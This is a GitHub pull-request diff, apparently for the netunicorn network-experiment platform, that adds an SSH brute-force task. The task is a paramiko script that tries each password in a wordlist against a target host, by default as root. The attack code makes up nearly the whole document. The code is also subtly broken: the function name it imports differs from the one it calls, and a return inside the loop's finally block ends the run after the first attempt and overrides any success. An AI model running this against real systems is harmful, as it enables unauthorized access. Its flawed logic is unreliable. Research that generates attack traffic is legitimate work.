Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
29 changes: 29 additions & 0 deletions tasks/network_attacks/ssh/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
from netunicorn.base.task import Task
from netunicorn.base import Failure, Result, Success
from .brute_force_ssh import brute_force_ssh

class BruteForceSSH(Task):
requirements = ["pip install paramiko"]

def __init__(
self,
targetIP: str,
wordlist: list,
port=22,
user="root",
*args,
**kwargs
):
self.targetIP = targetIP
self.wordlist = wordlist
self.port = port
self.user = user
super().__init__(*args, **kwargs)

def run(self):
return bruteforce_ssh(
host = self.targetIP,
port = self.port,
username = self.user,
wordlist = self.wordlist
)
28 changes: 28 additions & 0 deletions tasks/network_attacks/ssh/brute_force_ssh.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
import paramiko
from termcolor import colored # termcolor can be used to make text in terminal colorful!
from os import path # imported to check if workslist location does exist or not !
from sys import exit # for exiting the program
from netunicorn.base import Failure, Result, Success
from netunicorn.base.task import Task

def bruteforce_ssh(host, port, username, wordlist):
# creating a sshclient object with paramiko !
ssh = paramiko.SSHClient()
# Configuring to auto add any missing policy if found
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in wordlist:
# print(password)
try:
# trying to connect
ssh.connect(host, port=port, username=username,
password=password, banner_timeout=800)
except:
print(f"[Attempt] target:- {host} - login:{username} - password:{password}")
else:
ssh.close()
return Success(f'Login successful: User - {username}, Password - {password}')
finally:
# After all the work closing the connection
ssh.close()
return Failure('No valid credentials found in wordlist')